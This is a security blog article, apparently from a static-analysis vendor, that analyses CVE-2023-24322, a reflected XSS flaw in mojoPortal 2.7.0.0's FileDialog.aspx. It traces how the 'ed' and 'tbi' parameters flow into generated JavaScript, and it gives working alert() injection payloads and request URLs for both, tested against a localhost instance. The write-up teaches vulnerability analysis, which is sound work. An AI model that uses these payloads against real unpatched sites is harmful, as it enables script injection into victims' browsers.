﻿# XSS vulnerability in the ASP\.NET application: examining CVE\-2023\-24322 in mojoPortal CMS

In this article, we will thoroughly examine the XSS vulnerability in a CMS written in C\#\. Let's recall the theory, figure out how the security defect looks from a user's perspective and in code, and also practice writing exploits\. 

![1054_XSS_mojoPortal/image1.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image1.png)

## What is cross\-site scripting \(XSS\)?

**Note**\. You can skip this section if you are already familiar with the XSS basics\. 

XSS \(cross\-site scripting\) is an application vulnerability that involves injecting code into a page viewed by a user\. If the application is not protected from XSS, an attacker can inject JavaScript code and steal data or perform other malicious actions\. 

The simplest example of XSS is when data from parameters or input fields are used without checking/escaping the data itself\.

Let's say there is a JS script that extracts the _name_ parameter value from the query string and welcomes the user on the web page:

```cpp
<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>
```

We make a request of the _XSSExample\.html?name\=John_ kind and get the expected response on the page — _"Hello John\!"_\.

However, if we pass a script instead of the name, it will also be injected in the document's body and executed\. 

Request example:

```cpp
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>
```

Result: 

![1054_XSS_mojoPortal/image2.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image2.png)

We've successfully injected the code\. This security flaw is called reflected XSS\. The injected script is not saved anywhere, and the attacker intends to make the victim make an insecure request to the page \(for example, by opening a malicious link\)\. Obviously, not to show the form — it's just a simple way to confirm XSS presence\.

## Analysis of XSS in mojoPortal CMS \(CVE\-2023\-24322\)

Now when we're done with the theory and synthetic examples, let's turn to the analysis of the specific XSS in the open\-source project mojoPortal\. mojoPortal is a CMS written in C\# using ASP\.NET\. The project's source code is [available on GitHub](https://github.com/i7MEDIA/mojoportal)\. The XSS vulnerability we are discussing today was discovered in the [2\.7\.0\.0](https://github.com/i7MEDIA/mojoportal/tree/v2.7.0.0) version\. 

This vulnerability has the [CVE\-2023\-24322](https://nvd.nist.gov/vuln/detail/CVE-2023-24322) identifier:_ A reflected cross\-site scripting \(XSS\) vulnerability in the FileDialog\.aspx component of mojoPortal v2\.7\.0\.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters\._

Here are some key points from the description:

* the vulnerability is located on the FileDialog\.aspx page;
* the security flaw can be exploited via the _ed_ and _tbi_ request parameters\.

What is the first thing that comes to mind when trying to check XSS? Probably, passing data like _<script\>alert\(0\)</script\>_ via the vulnerable parameter\. :\)

Let's try writing this string to both parameters and see what happens\. 

Writing it to the _ed_ parameter yields no results\.

![1054_XSS_mojoPortal/image3.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image3.png)

But if we pass the same string via the _tbi_ parameter, then the page content will change in an interesting way:

![1054_XSS_mojoPortal/image4.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image4.png)

However, this is still not what we expected — the pop\-up window \(the _alert_ call result\) did not appear\. 

So that we can better understand what is happening and create exploits, let's look into the source code and see how the values of request parameters are used\.

### General logic

Let's look at the code and see what unites the _ed_ and _tbi_ parameters, then we will analyze their processing\. 

We will start with the _Page\_Load_ method that handles the _FileDialog\.aspx_ page load event:

```cpp
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
```

Firstly, we are interested in the _LoadSettings_ method logic\. The values of the _ed_ and _tbi_ parameters are written to _editorType_ and _clientTextBoxId_ fields, respectively\.

```cpp
public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}
```

Going back to _Page\_Load_:

```cpp
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
```

Checking _fileSystem \=\= null_ results in _false_, and we are not interested in the _PopulateLabels_ method\. Therefore, let's look at the _SetupScripts_ body:

```cpp
private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}
```

There are 2 methods that are relevant to us: _SetupMainScript_ and _SetupjQueryFileTreeScript_\. Why? You will understand that a little later\. 

Let's start with the _SetupMainScript_ method:

```cpp
private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}
```

Here we can see _switch _and the _editorType_ field \(the _ed_ parameter\) that was mentioned before\. We influence the code execution logic by changing the parameter value\. Now let's take a look at the _default_ section and the _SetupDefaultScript_ method call:

```cpp
//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFolder.ClientID 
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFileUrl.ClientID 
      + "').value; ");
  }
            
  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}
```

Interesting\. The method gradually writes the JavaScript code to the _script_ variable, then it registers the script via the _RegisterClientScriptBlock_ method call\. At the same time, the _clientTextBoxId_ value corresponding to the _tbi_ parameter is also inserted in the script\.

A similar thing is observed in the _SetupjQueryFileTreeScript_ method, which I mentioned earlier\. The method also generates and registers the script using the _editorType_ value \(which corresponds to the _ed_ parameter\)\.  

Because the _SetupjQueryFileTreeScript_ method is fairly long, I've shortened it below\. [Here](https://github.com/i7MEDIA/mojoportal/blob/f666ba3a66c5d0bdcf3b78bc51de3a6503629129/Web/Dialog/FileDialog.aspx.cs#L864) you can find the full version of the code\. 

```cpp
private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('" 
    + navigationRoot 
    + "/Dialog/FileDialog.aspx?ed=" 
    + editorType 
    + "&type=" 
    + browserType 
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}
```

This is an important point, so let's go over it again\.

Both methods \(_SetupDefaultScript_ and _SetupjQueryFileTreeScript_\) have a similar structure\. They use the HTTP request parameter values \(_tbi_ and _ed_\) to create the script\. 

In a generalized \(and simplified\) form, the code looks like this:

```cpp
void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}
```

Our task is to "break" the script written to the _script_ variable\. If we succeed, we will change the logic of the generated script and see the result of the code injection\. 

Since scripts differ in structure and nesting, exploits will also be different\. Let's examine each of them separately\.

**A note on scripts formatting**\. In the article, I formatted the JS scripts for better readability\. In fact, they are written in 2 lines: the opening tag with the script body on the first line and the closing tag on the second one:

```cpp
<script type="text/javascript">function fbSubmit () { .... }
</script>
```

[Here](https://gist.github.com/VasilievSerg/27d677a75841bc9c7d2510ca7b77622b) you can find the full script with its original formatting\. 

Remember this feature, as it affects the exploit\.  

### Exploit with the tbi parameter

The script with the _tbi_ parameter looks simpler, so we will start with it\. 

Let's make a request of the following type:_ http://localhost:56987/Dialog/FileDialog\.aspx/?tbi\=TestPayload_

Then the JS code generated in the _SetupDefaultScript_ method may look like this:

```cpp
<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>
```

Look at the second argument of the _SetUrl_ method: that's where our data, wrapped in quotes, ended up\. 

Let's try to create a request that will "break" the script and allow us to inject the code\. The exploit must solve the following tasks:

* "close" the second argument of the _SetUrl_ function;
* "close" the _SetUrl_ function call;
* going beyond the _fbSubmit_ function body;
* inject the code;
* comment out the remaining piece of the original code \(the one that closes the substitution template\)\.

The following string should solve all of the tasks:

```cpp
TestPayload');}alert('You have been hacked via XSS');//
```

Let's analyze what its parts do:

* _TestPayload'_ "closes" the function argument;
* _\);_ "closes" the _SetUrl_ function call;
* _\}_ "closes" the _fbSubmit_ function body;
* _alert\('You have been hacked via XSS'\);_ — the main injection logic;
* _//_ — comments out the part of the original template that was left after substituting — _'\);\}_\.

Now let's check our assumption\. To do this, we will make the following request: _http://localhost:56987/Dialog/FileDialog\.aspx/?tbi\=TestPayload '\);\}alert\('You have been hacked via XSS'\);//_

The result was to be expected:

![1054_XSS_mojoPortal/image5.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image5.png)

Now the generated JS code with such a request looks like this:

```cpp
<script type = "text/javascript">
  function fbSubmit() { 
    var URL = document.getElementById('hdnFileUrl').value;   
    top.window.SetUrl(URL, 'TestPayload'); 
  } 
  alert('You have been hacked via XSS'); //');} 
</script>
```

As you can see, the exploit solved all the tasks: it helped us to go beyond the function and successfully inject the code\. 

Well, that's great\! We've figured out how to exploit the XSS vulnerability with the _tbi_ parameter\. Now let's move on to the second vulnerable parameter — _ed_\.

### Exploit with the ed parameter

The principle of creating an exploit for the _ed_ parameter is similar to _tbi_\.

Let me remind you that the JS code, in which the value of the _ed_ parameter is inserted, is generated in the [_SetupjQueryFileTreeScript_](https://github.com/i7MEDIA/mojoportal/blob/f666ba3a66c5d0bdcf3b78bc51de3a6503629129/Web/Dialog/FileDialog.aspx.cs#LL864C22-L864C47) method\.

Let's make a request of the following type:_ http://localhost:56987/Dialog/FileDialog\.aspx/?ed\=TestPayload_

Now let's look at the generated script\. The full version is [here](https://gist.github.com/VasilievSerg/86d8d5fb90d3dd8c25f7edb94c4d5429), I give a shortened version below:

```cpp
<script type="text/javascript"> 
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>
```

Note that the _ed_ parameter value \(the_ TestPayload_ string\) got inside the literal\.

We face a task similar to the previous one\. It is necessary to select the data that would help go beyond the argument of the _encodeURIComponent_ function and inject the code\.

The exploit should solve several tasks as well:

* "close" the _encodeURIComponent_ function argument;
* "close" functions' calls and bodies;
* inject the code;
* comment out the template's "tail" that will be left after we implement the logic\.

The following string meets all the requirements: 

```cpp
TestPayload');});});alert('You have been hacked via XSS');//
```

The purpose of its components is also clear:

* _TestPayload' "_closes"_ _the _encodeURIComponent_ function argument;
* _\);_ "closes" the _encodeURIComponent_ function call; 
* _\}\);\}\);_ "closes" the external functions' bodies;
* _alert\('You have been hacked via XSS'\);_ — the main injection logic;
* _//_ comments out the part of the original script that remained after substitution\.

Let's make the following request: 

_http://localhost:56987/Dialog/FileDialog\.aspx/?ed\=TestPayload'\);\}\);\}\);alert\('You have been hacked via XSS'\);//_

Take a look at the result:

![1054_XSS_mojoPortal/image6.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image6.png)

We got exactly what we expected\.

The parameter value specified above made the generated JS code look like this \(this version is shortened, and [here](https://gist.github.com/VasilievSerg/f5021ce7238bbd94c70ade57ff75d6d6) is the full one\):

```cpp
<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
```

Everything worked just as we expected: we exited the function bodies and inserted our code\. You can see how the script changed its logic after we successfully injected data from our request into it\.

![1054_XSS_mojoPortal/image7.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image7.png)

### How did developers fix the code?

The current version of the project doesn't have the _FileDialog\.aspx\.cs_ file, which had vulnerabilities\. I may assume that the code has been rewritten or just deleted\.

## Conclusion

We have figured out how XSS might look like in a real project\. Let's sum up the main points — it will come in handy if you'd like to tinker with the vulnerability yourself:

* CVE\-ID: [CVE\-2023\-24322](https://nvd.nist.gov/vuln/detail/CVE-2023-24322)
* Project: [mojoPortal v2\.7\.0\.0](https://github.com/i7MEDIA/mojoportal/tree/v2.7.0.0)
* the vulnerability description: it's possible to exploit XSS on the _/Dialog/FileDialog\.aspx_ page when using the _ed_ and _tbi_ parameters
* possible exploit for_ ed: TestPayload'\);\}\);\}\);alert\('You have been hacked via XSS'\);//_
* possible exploit for_ tbi: TestPayload'\);\}alert\('You have been hacked via XSS'\);//_

If you liked this article and want to read more on the security topic, you are welcome to the [blog](https://pvs-studio.com/en/blog/posts/?tag=security)\. 

If you want to check your project's code for security flaws \(XSS, SQLi, XXE, etc\.\), try to analyze it with [PVS\-Studio](https://pvs-studio.com/en/pvs-studio/)\.